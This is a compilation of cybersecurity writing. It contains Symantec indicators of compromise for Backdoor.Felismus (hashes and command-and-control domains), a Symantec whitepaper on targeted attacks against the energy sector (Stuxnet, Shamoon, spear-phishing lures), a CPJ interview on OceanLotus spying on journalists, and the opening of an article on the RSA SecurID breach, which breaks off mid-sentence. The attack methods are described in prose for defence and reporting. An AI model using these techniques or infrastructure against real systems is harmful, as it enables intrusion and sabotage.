Advanced Secure Gateway (ASG) - Security Analytics - Content Analysis - Malware Analysis - SSL Visibility - PacketShaper Symantec has the following specific detections in place for the threats called out in this blog: **AV** - Backdoor.Felismus - Trojan.Starloader **IPS** - System Infected: Backdoor.Felismus Activity - System Infected: Backdoor.Felismus Activity 2 - System Infected: Backdoor.Felismus Activity 3 ## Indicators of Compromise **Backdoor.Felismus samples** - MD5: 514f85ebb05cad9e004eee89dde2ed07 - Detection: Backdoor.Felismus - MD5: 00d356a7cf9f67dd5bb8b2a88e289bc8 - Detection: Backdoor.Felismus - MD5: c1f65ddabcc1f23d9ba1600789eb581b - Detection: Backdoor.Felismus - MD5: 967d60c417d70a02030938a2ee8a0b74 - Detection: Backdoor.Felismus **Trojan.Starloader samples** - MD5: 4984e9e1a5d595c079cc490a22d67490 - Detection: Trojan.Starloader **Hacktools** - MD5: e4e1c98feac9356dbfcac1d8c362ab22 - Detection: Hacktool.Mimikatz **Installation directory** - %WINDOWS%\debug - %APPDATA%\microsoft\security **Command and control infrastructure** - nasomember.com - cosecman.com - unifoxs.com Tags: Security, Endpoint Protection, Security Response, AIT, APJ, Backdoor.Felismus, espionage, Government, Investigation, Latin America, Trojan.Starloader
# Targeted Attacks Against the Energy Sector **Candid Wueest** Version 1.0 – January 13, 2014, 14:00 GMT --- ## Overview The energy sector has become a major focus for targeted attacks and is now among the top five most targeted sectors worldwide. Companies in the sector are facing a growing risk of having their services interrupted or losing data. The threat to energy firms is likely to increase in the coming years as new developments, such as further extensions of smart grids and smart metering, expose more infrastructure to the Internet. Equipment that is not connected to the Internet and other networks is not immune to threats, and there have already been a number of successful attacks against isolated systems. Operators of critical infrastructure, as well as energy utility companies, need to be aware of these threats and prepare accordingly. The threat to energy firms comes from several different sources. In some cases, espionage from competitors is the primary motive, with data on new projects, exploration, and finances being targeted. Disruption and destruction are the goals of other attacks. Some instances appear to be state-sponsored, such as the disruption of the Iranian nuclear program by the Stuxnet worm in 2010, one of the attacks that began this trend. Others appear to be the work of hacktivists with political or environmental agendas. Internal attackers, like disgruntled employees, are also a major source of attacks that often lead to service disruption. The majority of the actors behind these attacks have grown more sophisticated in the way they attack. During the monitoring period from July 2012 to June 2013, we observed an average of 74 targeted attacks per day globally. Of these, nine attacks per day targeted the energy sector. Accounting for 16.3 percent of all attacks, the energy sector was the second most targeted vertical in the last six months of 2012, with only the government/public sector exceeding it with 25.4 percent of all attacks. The high ranking was mainly due to a major attack against a global oil company, which we observed in September 2012. However, in the first half of 2013, the energy sector continued to attract a high proportion of attacks, ranking in fifth place with 7.6 percent of targeted attacks. Not all of the attacks analyzed used highly sophisticated tools. Most of them could have been prevented by following best practice guidelines for protecting the IT infrastructure and the industrial components, indicating that despite high revenues and strategic importance, many energy sector companies are not prioritizing cybersecurity. ## Introduction The number of targeted cyberattacks in general has risen in the past few years. In addition to this, the rate of attack exposure has also risen, with more companies becoming aware of attacks, expecting them, and searching for indications of compromise. It is not a new phenomenon, but its importance has grown. The Council on Foreign Relations, a US think tank, reported that energy companies, including oil and gas producers, were often the focus of targeted attacks during summer 2012. In May 2013, the US Department of Homeland Security (DHS) warned of an increase in sabotage attacks against US energy companies located in the Middle East. The government had tracked multiple attacks and issued a warning together with the Industrial Control Systems Cyber Emergency Response Team (ICS-CERT). A report by the US Congress supported this picture, stating that many power utilities companies were under constant or daily attack through cyberspace. As in most sectors, attackers are often after valuable information. For example, we have seen attackers target intellectual property such as technology for photovoltaic research and wind turbines, or data on gas field exploration. Information such as this is of high value and can generate huge profits for attackers or their sponsors. The same information can also be misused for an act of sabotage. Many power utilities companies fear disruptive attacks the most, regardless of whether it is done by internal or external attackers. The energy sector has a high potential for critical disruption through sabotage attacks. Any interruption to the power grid would cause substantial chaos and cascading effects resulting in financial loss. In the past, there have been quite a few attacks that included targets in the energy sector. Some of these were more focused, like Stuxnet, Duqu, Shamoon/Disttrack, and Night Dragon. Others saw power companies targeted among many other sectors, such as Hidden Lynx, Nitro, Flamer, Net Traveler, and Elderwood to name a few. One of the biggest examples, and a game changer for many organizations, was Stuxnet. This targeted sabotage attack, which is believed to have been aimed against uranium enrichment facilities in Iran, made clear what could be done through cyberattacks. It is also clear that the energy sector is not exempt from the generic attacks that every company faces, such as ransomware that locks PCs or financial Trojans that attempt to steal passwords and credit card details. For example, such a case happened in May 2013, when a small fuel distribution company in North Carolina fell victim to a cyberheist that transferred US$800,000 from the company’s bank account. Such threats spread broadly and might impact any person, regardless of their employer. These attackers aim at infecting as many computers as possible in order to maximize their chances of profits. These attacks can include nonspecific data breaches where employee or customer records get stolen, as happened to the US Department of Energy in July 2013. For this paper, we focused on email data from targeted attacks between July 2012 and June 2013. Even though watering holes are becoming more frequently used in targeted attacks, it is unfortunately quite difficult to reliably map these to individual campaigns. A blocked drive-by download attempt does not give any indication if it was a targeted attack or just general noise. In quite a few cases, we see the same common malware, like Poison Ivy, being used by generic attackers and by targeted attacks. In such cases, the sole difference between a sophisticated targeted attack and a generic one lies in the person commanding the malware. ## Exposed Systems: Online and Offline Historically, most industrial control systems (ICS) and supervisory control and data acquisition (SCADA) systems were in separated networks not connected to the Internet or any other network. Unfortunately, this security through segregation approach does not fully protect against cyberattacks. In reality, networks are rarely completely isolated. Often some configuration updates are periodically installed or log files are transferred. If systems are not directly connected, the method of choice for these types of interactions is usually through a USB stick or a non-permanent modem connection, which provides a way into the restricted networks. This allows malware to spread into such isolated networks as demonstrated many times by threats such as Stuxnet. If networks are truly segregated, this would mean that there would be no software updates installed, leaving old vulnerabilities open. There are also issues around processes. For example, the revocation lists for digital certificates are seldom updated, and therefore certificates which are no longer valid cannot be checked properly and would still be accepted. With the increasing desire for connectivity now reaching industrial plants, many operators have started to connect their ICS to the Internet. New adapters can bridge to older technology which was never intended to be controlled over the Internet, allowing it to be connected easily. This allows for efficient centralized monitoring and, to some extent, remote control of equipment. Depending on the type of machinery controlled through the human-machine interface (HMI) of the ICS, not all modifications are possible. Some systems are physically connected in a pure read-only mode for monitoring. And even if they are fully connected, some turbines have physical limitations or emergency systems based on physical effects that cannot be overridden by the digital controller. Thus, not all Hollywood scenarios of open flood gates or turbines that fly through the air are possible. However, sabotage attacks that damage equipment are definitely possible, as has already been demonstrated. In the future, more systems are going to implement the failsafe switches in software, opening up the vector for malware attacks. An additional source of concern is that some countries have started to open the energy market for smaller private contributors. This means that almost anyone can use mini power plants like water, wind, or photovoltaic sites to feed energy back into the power grid. Often these operators do not have a full IT staff supporting the facilities at hand, which might lead to more vulnerable installations. Furthermore, they may deploy new technology which might be untested and contain some unknown vulnerabilities. While these smaller sites make up only a small portion of the grid, new decentralized power input feeds are a challenge for the balance of the power grid as well and need to be carefully monitored. Small outages or changes can have a domino effect for the whole power grid. To increase the exposure of energy firms even further, sites like SHODAN, which is essentially a search engine for devices, enable anyone to easily find exposed controllers on the Internet. Of course, not all of the industrial control systems connected to the Internet are critical systems or even real ones. Some researchers have started to create honey pot systems in order to study the attackers, which have apparently already attracted attackers like the Comment Crew/APT1 group, who have broken into these decoy systems. ## Smart Grid: A New Potential Avenue of Attack Smart grids and smart metering are bringing significant change to the world’s power systems. Experts predict that billions of smart meters and sensors will be installed worldwide over the next ten years. They enable utility companies to measure energy consumption at a more granular level, creating better flow patterns and enabling different prices for consumption based on the time of day and location. This development brings new opportunities, as well as new challenges. As with any connected infrastructure, it is important to secure the network and its endpoint on multiple levels. There have already been proof of concept attacks that demonstrate how smart meters could be manipulated to send back false information or report incorrect billing IDs, leading to power theft. In addition to the issue of securing these devices, smart grids will produce a huge amount of data which, depending on regulations, will need to be kept for audits. Some of this data may be sensitive and could raise privacy concerns if not properly protected. This could easily grow to petabytes of data that needs to be safely stored and managed. It is beyond the scope of this paper to address all the challenges associated with smart grids and smart meters. Symantec has created a dedicated whitepaper for this topic: How to protect critical infrastructure, mitigate fraud, and guarantee privacy. As a member of the CRISALIS project, Symantec is following these developments closely and is helping to secure critical infrastructure together with partners from academia and different industry sectors. ## History of Discovered Attacks There have been numerous cyberattacks against the energy sector over the past few years. Not all of them were the work of sophisticated attackers; some incidents were just collateral damage caused by malware infections or bad configuration issues. These incidents highlight the fact that such attacks can happen and that they can have real-life consequences. ### 2013 In 2013, part of the Austrian and German power grid nearly broke down after a control command was accidentally misdirected. It is believed that a status request command packet, which was broadcast from a German gas company as a test for their newly installed network branch, found its way into the systems of the Austrian energy power control and monitoring network. Once there, the message generated thousands of reply messages, which generated even more data packages, which in turn flooded the control network. To stop this self-inflicted DDoS attack, part of the monitoring and control network had to be isolated and disconnected. Fortunately, the situation was resolved without any power outages. ### 2008 In 2008, Tom Donahue, a senior Central Intelligence Agency (CIA) official, told a meeting of utility company representatives that cyberattacks had taken out power equipment in multiple cities outside the United States. In some cases, the attacker tried to extort money from the energy companies, threatening them with further blackouts. ### 2003 In 2003, the safety monitoring system of the Ohio nuclear power plant apparently went offline for several hours due to a Slammer worm infection. Fortunately, the power plant was already offline due to maintenance, and the installed secondary backup monitoring system was unaffected by the worm. Nevertheless, the incident raised safety concerns. At the beginning of 2003, a marine terminal in Venezuela was targeted by a sabotage attack. Details of this attack are scarce and vague, but it seems that during a strike, an attacking group managed to get access to the SCADA network of the oil tanker loading machinery and overwrote programmable logic controllers (PLCs) with an empty program module. This halted machinery, preventing oil tankers from loading for eight hours until the unaffected backup code was reinstalled on the PLCs. The attack was not too sophisticated as it was easily spotted. A small modification of the PLC code instead would probably have gone unnoticed for a long time. ### 2001 In 2001, an attack took place against California’s power distribution center, which controls the flow of electricity across California. Due to apparently poor security configuration, the attacker was able to compromise two Web servers that were part of a developer network and penetrate further from there. Fortunately, the attackers were stopped before they managed to attack any systems which were tied into the transmission grid for the Western United States. ### 2000 According to Russian officials, the largest natural gas extraction company in the country was successfully attacked in 2000. The attackers used a Trojan to gain access to the control for the gas pipelines. Through this switchboard, the flow for individual gas pipelines could have been modified, which would easily have caused widespread disruption. Aside from these incidents, there have also been a number of more serious and well-documented targeted attacks against the energy sector: #### Stuxnet The Stuxnet incident and its relatives Duqu, Flamer, and Gauss are some of the most talked-about cases of targeted attacks. As far as we know today, the Stuxnet operation began in November 2005 with the registration of the command and control (C&C) servers used in the attacks. The first recorded appearance of what we now call Stuxnet version 0.5 was in November 2007. Since then, a handful of different versions have been found and analyzed. Stuxnet 1.x is based on what is now known as the “tilded” platform; whereas Stuxnet 0.5 is based on the Flamer framework. The code segments and programming style differ, which indicates that two different programming teams were most likely responsible for the different branches of Stuxnet. Thorough investigation into the mechanism and functions of this threat started in July 2010. Stuxnet is the first known autonomous threat to target and sabotage industrial control systems to such an extent. Stuxnet is a sophisticated piece of malware, which uses seven vulnerabilities to spread and infect its targets. The most notable vulnerability is the Microsoft Windows Shortcut ‘LNK/PIF’ Files Automatic File Execution Vulnerability (CVE-2010-2568), which allows it to auto-execute on USB drives. Spreading through infected portable media drives allowed it to also infect networks isolated by air gaps that are unreachable from the Internet. This was most likely the first infection vector used by Stuxnet. In addition, it is able to infect Step7 project files, which are used to control Programmable Logic Controllers (PLCs). This allowed the worm to infect computers whenever the engineer exchanged the project files. Besides this, it also spread through network shares, a printer spooler vulnerability, an old Windows RPC (remote procedure calls) vulnerability, and a known password in the WinCC database. In the end, Stuxnet propagated further than its authors probably intended. We have monitored more than 40,000 infected IP addresses in 155 countries. Many of those systems are most likely just collateral damage and were not intended to be infected by the attackers. For example, multiple computers at Chevron were infected by Stuxnet, without any damage being done. Part of the malware code was signed with stolen digital certificates, making it harder to detect by security tools. To hide its activity even further, Stuxnet executed slightly different infection routines depending on the security software installed on the target. On the USB drive itself, the malware would hide its own files and even delete itself from it after three successful propagations. Tricks like these, to make the detection of the malware more difficult, are now frequently used in modern targeted attacks. Stuxnet’s payload focused on PLCs, which are used to control different industrial components. The target of the Stuxnet operation is believed to be a uranium enrichment facility in Iran. The sabotage payload disrupted and partially destroyed the cascaded high-frequency gas centrifuges. The early version of Stuxnet targeted the S7-417 PLCs and modified its valve settings. Closing the valves at certain points in time would lead to an increase of pressure that could damage the equipment. The later version of the threat focused on the S7-315 PLCs, manipulating the spinning frequency of the rotating motors. By speeding the centrifuges up and slowing them down repeatedly, the output quality could be spoiled and the centrifuges themselves could be damaged. The payload would only become active if the fingerprint in the found PLC setup matched a given configuration setup. This minimized the collateral damage at other facilities and showed that the attackers had in-depth knowledge of the targeted uranium enrichment facilities. To avoid detection by personnel monitoring the human-machine interface (HMI) of the plant, the threat recorded measurement readings during normal operation and played those back in a loop. #### Night Dragon Operation Night Dragon, which was uncovered in 2010, is a typical example of global oil companies being targeted, but this time not with the aim of disruption in mind. The attacks started in late 2009 and were directed at finding project details and financial information about oil and gas field exploration and bids. The attackers started by compromising public-facing Web servers through SQL injection and installing Web shells on them. Once they had control over the server, they used common hacking tools to harvest local passwords, dump password hashes, sniff authentication messages, and exploit internal active directory configuration. This allowed them to move on to other internal computers using the gathered passwords. In addition, spear phishing messages were used to compromise additional computers. The attackers did not use any zero-day vulnerabilities during their attacks. Rather, they used publicly available tools for each individual job. On compromised computers, a common Backdoor.Trojan was installed that communicated back to the C&C server, allowing remote access to the computer. This allowed the attacker to find and extract valuable information. #### Shamoon/Disttrack In August 2012, an extremely destructive cyberattack hit an estimated 30,000 computers at one of the largest oil producers in the world in Saudi Arabia. The W32.Disttrack malware used in this attack, also known as Shamoon, consists of three components: a dropper, a wiper, and a reporter module. The dropper component is responsible for creating all the required files on the system, registering a service called “TrkSvr” in order to start itself with Windows. It also attempts to copy itself to accessible network shares and execute itself remotely if successfully copied. The wiper component is only activated when a hardcoded configuration date has been passed. This enables a coordinated, “time bomb” scenario. The module then drops a legitimate and digitally signed device driver that provides low-level disk access from user space. The malware collects file names and starts overwriting them with a JPEG image or 192KB blocks of random data. At the end, Disttrack finishes the computer off by wiping the master boot record with the same data. The reporter component is responsible for sending back an HTTP GET request to the C&C server. It reports the domain name, IP address, and number of files overwritten. By acquiring user credentials and gaining access to the domain controller, the attackers were able to push the malware onto many systems before they triggered the destructive payload. Disttrack’s secondary goal may have been to steal valuable information from infected computers, but the main intent was to render the computers unusable by wiping the operating system and master boot record, causing disruption and downtime at the targeted company. Although wiping is also frequently used to destroy evidence of the attack and make forensics more difficult. The malware does not contain any payload against ICS, like Stuxnet does for PLCs, and is not as sophisticated. According to the company, no computer related to the production or distribution of oil was affected, since the operational network is separated and specially protected. One group that claimed responsibility for the attack posted on Pastebin that it was an anti-oppression hacker group. The attack was prompted by disappointment with some of the regimes in the Middle East, the group said. True or not, this shows that it is not necessarily only state-sponsored attackers who are carrying out disruptive attacks. Sabotage attacks usually fall into the orbit of hacktivists, who seek attention rather than profit. Some sources reported that the attackers had help from insiders, which would explain the so far unclear infection vector. Soon after this attack became known, a Qatari gas company was attacked in a similar way. ## Spear Phishing Attacks in the Energy Sector Spear phishing is, along with watering hole attacks, one of the most common attack vectors used to attack companies. The attacks are simple to carry out. They often follow the same pattern, starting with a reconnaissance phase to gather all publicly available information. This is followed by the incursion phase of breaking in and compromising computers. After that comes the discovery phase, where the attacker gathers passwords and maps the internal network. The final stage is capture and exfiltration, where the valuable information is copied and sent back to the attacker. The last phase may also involve a disruption attack if the goal is sabotage. A spear phishing attack consists of an email with either a malicious attachment or a link to a malicious website. Such emails are sent in bulk to a handful of key users. These waves are often repeated until enough people fall for the bait and compromise their computers. ### New Year’s Campaign Some of the spear phishing campaigns are smaller in scale and are focused on specific targets. For example, on January 1, 2013, a global energy research company was targeted. A wave of spear phishing emails were sent from two Freemailer accounts to 291 individuals at the targeted company. All receiving email addresses started with a letter between G and R, covering half of the alphabet. Whether there was a second wave of emails using the other half of the alphabet or whether the attackers only got their hands on part of the address book remains unknown. All emails had either the subject line “2013, Obama QE4! Merry Christmas!” or “2013, Obama QE4!”. It is common to see spear phishing attacks take place around holidays, as people are receiving more emails during these times and are less likely to perform due diligence while opening them. All of the emails contained the same Trojan.Dropper disguised as an attachment with the filename AVP.dll. The malware itself drops a malicious Downloader “clbcatq.dll” into a newly created “wuauclt” directory, posing as Windows update and taking advantage of the DLL search order hijack weakness in order to load the malicious code in Windows. The same family of dropper has been used in previous targeted attacks against other sectors, indicating that a group with multiple interests is behind the attacks. The backdoor provided full access to the compromised computers. A week later, on January 7, 2013, the group attacked the same company again. Seventy emails were sent to 58 individuals using either “2012-13 NFL Playoffs Schedule” or “Re: 2012-13 NFL Playoffs Schedule” as a subject line. In this wave, the attackers used a similar AVP.dll to the one used before. In some of the emails, an additional CHM file with an old exploit was used in an effort to maximize the chances of a successful infection. After this second wave, the attack ceased. It is unknown if the attackers successfully retrieved the information they were seeking, if they installed other backdoor Trojans or gained passwords that allowed them to directly access the computers, or if they have given up on the target. ### Greek Oil Campaign A global oil company, with offices around the world, had been under continuous attack for some time, but in September 2012 we noticed an upsurge in activity, with 34 times more suspicious emails than on average. This provided a clear indication that something suspicious was going on. At the end of this wave of emails, a hotel chain, a rental car company, and two financial institutions were also targeted by the same attacker. This may have been an attempt to find further information that could be used in a future social engineering attack against the oil company. In total, 136 email accounts at the oil company were targeted. A regional sales manager in Greece received 412 emails over the 12-month period, with 155 different attachments. An HR person in the same country received the second largest amount of emails with 90 in total. Seventeen other people were targeted between 70 and 90 times, many in the same region. The rest of the targeted people received less than five emails each, in what seems to have been an undirected spraying in the hope that at least some would fall for the bait. Clearly, the one person that received the highest volume of emails was deemed to be of high value to the attackers. Possible explanations for the attack could be that a competitor wanted to know more about some upcoming deal or details on the oil field exploration, but this would be highly speculative. The spear phishing emails came from 234 spoofed addresses. They were made to appear to be linked to the company in relation to the subject and attachment chosen. Many of the emails came from the same country as the main targeted sales manager. The emails all contained malicious attachments. None of them linked to third-party sites for drive-by downloads. Of the attachments, 1,588 had a .exe extension. Of those, 842 had a .pdf.exe extension. The malware chosen was a variant of the Poison Ivy Trojan Backdoor.Darkmoon and, in some minor cases, Trojan droppers that would download additional malware. The attackers did not use any zero-day exploits to drop a payload. The social engineering messages concentrated mainly around the following two themes: **E-books and newspapers:** - E-Book.pdf.exe - BusinessWeek.pdf.exe - Financial Times E-Paper.pdf.exe - The Economist Print Edition.pdf.exe - The NY Times In Print.pdf.exe **Free desktop tools:** - Babylon9 - Greek.exe - Google Desktop Translator.exe - SMS Free Sender Desktop.exe - BBC iPlayer.exe - Sticky Notes Desktop.exe Once installed, the backdoor would create a registry run key in order to restart with Windows and connect to one of three C&C servers located in Greece. The last C&C server has been used since 2010 in similar attacks against other companies. The chosen names of the C&C server domains imitate legitimate services in a bid to be overlooked by the system administrators when checking their logs. ## Motivation and Origin As with all targeted attacks, there are many different groups of attackers operating in this field. These attacks cannot be attributed to only one group or geographical region. We have seen individuals, competitors, hacktivist groups, and possible state-sponsored agents carrying out attacks against energy companies. Some of the attacks have been purely opportunistic, seeking any valuable information available. Other campaigns look like they were planned over a lengthy period and carried out methodically with a clear goal in mind. The attackers tend to go after valuable information, including maps of new gas fields or research on efficient photovoltaic generators. This information can be of great value to competitors or nations that want to make progress in the same field. Another motivation for attackers is to profit from the information stolen by blackmailing the company. The same information can be used to carry out sabotage attacks designed to disrupt ICSs, as the energy sector is also a primary target for sabotage attacks which will not generate direct profit for the attacker. A competitor might be interested in generating bad press and bad customer experience for a rival company, in order to win some new clients. For example, in January 2013, a group claiming to be related to Anonymous posted access details for what they said were Israeli SCADA systems for power plants and other systems. Meanwhile, “Operation Save the Arctic” targeted multiple oil companies around the globe in protest against drilling plans in the Arctic. Disgruntled employees are also a source of attacks that should not be underestimated. With their know-how about internal critical processes and systems, they often know how to inflict serious damage. They may be able to perform system modifications that could go unnoticed for long periods. ## Protection and Mitigation For all regular client computers, the well-established best practice guidelines apply. These computers are often the first ones to be attacked. Once compromised, the attacker will use these computers and try to explore deeper into internal networks. Securing and hardening of deployed operating systems with a working strategy for patch deployment is important. Reoccurring security awareness training can help users to identify social engineering attempts and prevent them from falling victim to them in the first place. The company can perform penetration testing on Web and network applications but also on ICSs to identify and remedy any vulnerability. For example, Web applications should be tested against SQL injection attacks. This can also help confirm if applied policies are followed through, if the patch level is correct on all computers, and if systems are compliant. Companies can monitor the Internet for information about attacks in the same vertical and apply lessons learned where possible. In addition, different layers of security products can help achieve better overall protection. - **Security Information and Event Manager system (SIEM):** Using a SIEM can help correlate all related alerts in one place. This centralized view can be cross-referenced with threat intelligence data to generate prioritization and an action plan. Painting the bigger picture of the overall security state can reveal previously unnoticed attacks. For example, failed login attempts on internal servers could indicate a password breach. This includes logging of critical systems and synchronization of time among multiple systems. - **Ingress and egress filtering:** Filtering the network traffic with firewalls, content filters, and IPS allows the control of data flows. This can prevent attackers from reaching internal systems. It is important to also monitor outbound traffic, as data exfiltration is a key point for cyberespionage. It should be noted that with the increased use of cloud services and mobile devices, some traffic might never pass through the company’s gateways. Where traffic blocking is too disruptive, at least monitoring should be implemented. - **Data loss prevention (DLP):** DLP solutions can track the access and flow of critical information and prevent it from leaving the company or encrypt it automatically. - **Endpoint protection:** Depending on the usage pattern of the computer, different solutions are available to protect the endpoint. Antivirus solutions with proactive detection methods like behavioral analysis and reputation scanning can prevent unknown malware from installing itself. HIPS (host-based intrusion prevention systems), behavioral lockdown, or whitelisting can protect computers from any kind of unwanted tampering without the need for constant updates. - **System protection:** For non-standard IT systems, hardening can increase security. On industrial systems which are not often updated or that cannot be updated, exploitation can be prevented with the help of lockdown solutions like Symantec Critical System Protection (CSP). Through policies, only trusted system applications are allowed to run. ICS should be regularly checked and upgraded if new firmware exists. Where this is not possible, HIPS and behavioral lockdown tools can be used to secure computers. - **Email filtering:** Proper email filtering can prevent many spear phishing attempts from reaching users. They can help minimize the risk of an untrained user falling for social engineering tricks. - **Authentication:** Some of the ICS contain hardcoded passwords and, wherever possible, these should be changed. ICS frequently use weakly authenticated protocols that allow for impersonation attacks. Where possible, those authentication methods should be upgraded or at least closely monitored. Strong authentication or PKI should be used where applicable. Industrial control systems (ICS) should be specially protected and monitored. The control system and control network should be secured. Where possible, ICS should be separate from the Intranet. Isolating these networks alone is often not enough to protect the control network, but it can make it more difficult for attackers to succeed. For some systems, it can make sense to have a plan to quickly disconnect or separate critical machines in the event of a detected cyberattack. ## Conclusion Cyberespionage campaigns and sabotage attacks are becoming increasingly common, with countless threat actors attempting to gain a foothold in some of the best-protected organizations. At this stage, roughly five targeted attacks per day are being mounted on firms in the energy sector. These attacks have become increasingly sophisticated, although the capabilities and tactics used by these threat actors vary considerably. In the second half of 2012, the energy sector was the second most targeted with 16 percent of all the targeted attacks. This strong increase was mainly due to a large-scale attack against one global oil company. In the first half of 2013, the energy sector was ranked fifth with 7.6 percent of all attacks focused on this sector. In general, we have observed that attackers are becoming more efficient and focusing on smaller operations that attract less attention. The attackers tend to go after valuable information – such as maps of a new gas field – but the sector is also a major target for sabotage attacks, which will not generate direct profit for the attacker. Such disruptive attacks do already happen and may lead to large financial losses. State-sponsored agents, competitors, internal attackers, or hacktivists are the most likely authors of such sabotage attacks. Fortunately, there have not been many successful sabotage attacks against energy companies to date. However, the increasing number of connected systems and centralized control for ICS systems means that the risk of attacks in the future will increase. Energy and utility companies need to be aware of these risks and plan accordingly to protect their valuable information as well as their ICS or SCADA networks.
# How Vietnam-based hacking operation OceanLotus targets journalists February 1, 2021 A woman is pictured using a computer at a conference in Berlin, Germany on December 27, 2010. Vietnam-based hacking operation OceanLotus has targeted journalists in Germany. (Reuters/Thomas Peter) In early 2020, Vietnamese writer Bui Thanh Hieu told Marina Mai, a freelancer based in Berlin, that he was closing his blog to protect his family. In 2009, Hieu was detained for a week for his critical writing on Vietnam’s territorial disputes with China, as CPJ documented. In 2013, he fled to Germany, but continued writing about Vietnamese politics on his popular blog *Nguoi Buon Gio* (The Wind Trader) and on Facebook, he told Mai in an interview for the Berlin-based daily *taz*. He went on to face hacking attacks, repeated attempts to have Facebook disable his account, and even sought protection from German police following threats related to his work, according to the interview. Eventually, he felt he had no choice but to shut the site. What Mai didn’t know at the time was that her subject had fallen victim to a massive hacking and surveillance operation known as OceanLotus, which experts say targets people who have criticized the Vietnamese state – and which would come to target her as well. Mai, who has not been back to her home country in several years, still writes about Vietnam, as well as the Vietnamese diaspora in Germany, and local issues in Berlin. She told CPJ in an email in late 2020 that she learned she was a target when German journalists informed her of an attempt to install spyware on her computer. “I didn’t think I’d be an interesting person for the Vietnamese secret service, because I only write in German,” she told CPJ. “I had to correct this opinion.” Steven Adair, president and co-founder of Volexity, a U.S.-based cybersecurity company that has studied OceanLotus, spoke to CPJ by phone in late 2020 about how the group identifies and targets journalists. The method used in the separate attacks on Mai and Hieu, known as spear phishing, is familiar to many journalists. Mai told CPJ she was targeted via an email that appeared to be legitimate but contained malware; German journalists reported that the same method was used against Hieu in an October 2020 article published by *Die Zeit* newspaper and public service broadcaster BR. (Hieu initially agreed to an interview when CPJ reached him via messaging app in late 2020, but later said he was too busy to respond.) OceanLotus also creates fictitious news websites and social media profiles to lure its target audience, according to Adair; in December, Facebook said it had traced malicious activity by the same actors to an IT company in Vietnam. Adair shared more insights into the group with CPJ below. His answers have been edited for length and clarity. **Tell us about your work on OceanLotus so far.** In 2017, we released research about a large digital surveillance campaign called OceanLotus or APT32, a cyber-threat actor or group of hackers. There was no attribution to a country, but [Silicon Valley-headquartered cybersecurity firm] FireEye and the EFF [U.S. digital rights group the Electronic Frontier Foundation] had some reporting that clearly showed OceanLotus was out of Vietnam, and was spear phishing dissidents. Then we happened to come across some weird code on Cambodian government websites that had been compromised. It was profiling visitors, collecting information about them. We eventually uncovered that in over 100 different websites for the Philippine military, Laotian websites, Cambodian media websites – all countries surrounding Vietnam. We uncovered this huge set of stuff going on, including phishing attacks, and some of the malware we could clearly tie back to OceanLotus. Once they have access to your inbox, they can pretend to be you or anyone that’s ever emailed you. They also create fake sites – a lot of them are news websites. None of them are going to leapfrog CNN with millions of views a day, but they have news constantly updating, or they advertise somewhere. Some of the pages never really caught on, but one had over 20,000 [social media] followers. That’s a decent number for a completely fraudulent website whose purpose is inarguably to track and target visitors. The majority [of targets] ended up being human rights defenders like the [Germany-based] VETO! Human Rights Defenders Network, media organizations in the United States, and Vietnamese Catholicism related websites…groups whose mission is offensive to the Vietnamese government. A lot of them were media websites or blogs that expose corruption. **Is it possible to say whether state actors are behind OceanLotus?** We definitely believe it’s out of Vietnam, but whether it’s a government agency, a contractor working for them, or something else, we don’t claim that we know that. We look at the immense level of effort and resources to maintain all the infrastructure and identify the victims. It’s not something anyone’s going to do in their spare time. When you look at the 2017 campaign, they’re hacking 120 sites and 90 of them are media and human rights organizations— from our perspective, there’s no other explanation. **What are the risks of visiting a malicious website set up by hackers?** These websites have real news on them, and one or two pages out of maybe 5,000 would deliver malware. Theoretically, someone could end up on that [by mistake], but we surmise that they probably deliver links in a targeted fashion through direct messages or email. Or, if they had designated you as a target and had identified your IP address, then the website would behave differently, either present malware to download or redirect you to a login page to steal your password or the Google OAuth credentials that you use to authorize an application. There’s no vulnerability in a browser that means you could visit a website [from your home] and they would know who you are. But if you’re in a corporate office, it may be possible to identify that you’re tied to an organization on the target list. With one organization that we worked with, we could visit a site and nothing much happened. But from an IP address tied to that organization, the same website would behave differently. The main way they can profile you is by looking at what you do. The system can tell that you’re Person A who visited this blog. Maybe you visit a second time, maybe you also start showing up on this other news website dedicated to dissidents. They can track language settings, where you came from, enough to say, “That’s probably an activist or someone who is interested in activists.” It’s quite an operation. One of the websites that we found was compromised related to the Taiwanese steel plant that spilled a bunch of chemicals in the river. The site had been running for several years, saying, “Get this company out of Vietnam.” It was actually run by OceanLotus. **Die Zeit and BR reported that the hackers used a tool called Cobalt Strike. What is that?** Cobalt Strike is a penetration testing tool. I don’t know who their customers are, but it’s sold to a lot of companies that use it legitimately. They hire someone to break in and test their security, and that’s a toolkit they can use. I don’t suspect that OceanLotus is a customer of Cobalt Strike. We don’t know how it happens, but cracked versions get out there. Maybe someone stole it through hacking or after signing up as a customer, but it means multiple people can use an unsupported, illegitimate version without paying for it, and it gives them the capability to take control of a system. That’s not because of an irresponsible action from the company, as far as we know — it’s not in the same category as companies that are purveying malware to governments. There’s not a specific solution – hackers must be having success with it, or they wouldn’t keep using it. But if it’s not that tool, it’s going to be another. Anti-virus [software] is more likely to pick up something like that, which is a known, older technology and not being updated – though we don’t know how many of the kinds of people being targeted have anti-virus. In the case of OceanLotus, it’s interesting that they use it at all. They also have a significant amount of malware developed in-house and a pretty strong capability to attack across different platforms. But they continue to use it, they’ve been using it for years.
# The Full Story of the Stunning RSA Hack Can Finally Be Told Andy Greenberg May 20, 2021 Amid all the sleepless hours that Todd Leetham spent hunting ghosts inside his company’s network in early 2011, the experience that sticks with him most vividly all these years later is the moment he caught up with them. Or almost did. It was a spring evening, he says, three days—maybe four, time had become a blur—after he had first begun tracking the hackers who were rummaging through the computer systems of RSA, the corporate security giant where he worked. Leetham—a bald, bearded, and curmudgeonly analyst one coworker described to me as a “carbon-based hacker-finding machine”—had been glued to his laptop along with the rest of the company’s incident response team, assembled around the company’s glass-encased operations center in a nonstop, 24-hours-a-day hunt. And with a growing sense of dread, Leetham had finally traced the intruders’ footprints to their final targets: the secret keys known as “seeds,” a collection of numbers that represented a foundational layer of the security promises RSA made to its customers, including tens of millions of users in government and military agencies, defense contractors, banks, and countless corporations around the world. RSA kept those seeds on a single, well-protected server, which the company called the “seed warehouse.” They served as a crucial ingredient in one of RSA's core products: SecurID tokens—little fobs you carried in a pocket and pulled out to prove your identity by entering the six-digit codes that were constantly updated on the fob's screen. If someone could steal the seed values stored in that warehouse, they could potentially clone those SecurID tokens and silently break the two-factor authentication they offered, allowing hackers to instantly bypass that security system anywhere in the world, accessing anything from bank accounts to national security secrets. Now, staring at the network logs on his screen, it looked to Leetham like these keys to RSA’s global kingdom had already been stolen. Leetham saw with dismay that the hackers had spent 